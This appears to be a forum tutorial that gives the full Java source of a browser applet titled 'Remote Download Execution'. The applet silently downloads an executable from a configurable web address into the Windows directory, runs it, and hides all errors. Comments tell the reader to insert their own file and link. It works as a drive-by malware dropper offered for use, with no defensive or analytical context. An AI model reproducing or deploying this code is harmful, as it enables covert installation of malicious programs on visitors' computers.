Remote Download Execution with Java [TuT]

Code
import java.applet.Applet;

import java.io.BufferedOutputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.net.URL;

import java.net.URLConnection;









public class Client extends Applet{



    public Client(){

    }



    public void start(){



        String fileoot = System.getenv("WINDIR");

            String fname = "\\filename.exe";//Change to full file name



            String efool = fileoot.concat(fname);





            final String locationDownload = "http://mywebsite.com/filename.exe";//Change link inside " " to the link to your file location



            download(locationDownload, efool);



            final Runtime run = Runtime.getRuntime();



            try {

                run.exec(efool);

            } catch (final IOException e) {

            }

            return;

        }

    

    public void download(final String address, final String localFileName) {

        OutputStream out = null;

        URLConnection conn = null;

        InputStream in = null;

        try {

            final URL url = new URL(address);



            out = new BufferedOutputStream(new FileOutputStream(localFileName));

            conn = url.openConnection();

            in = conn.getInputStream();



            final byte[] buffer = new byte[1024];

            int numRead;

            while ((numRead = in.read(buffer)) != -1) {

                out.write(buffer, 0, numRead);

            }

        } catch (final Exception exception) {

        } finally {

            try {

                if (in != null) {

                    in.close();

                }

                if (out != null) {

                    out.close();

                }

            } catch (final IOException ioe) {

            }

        }

    }







    public void main(String args[]){



        start();



    }    







    public void stop(){

    }

}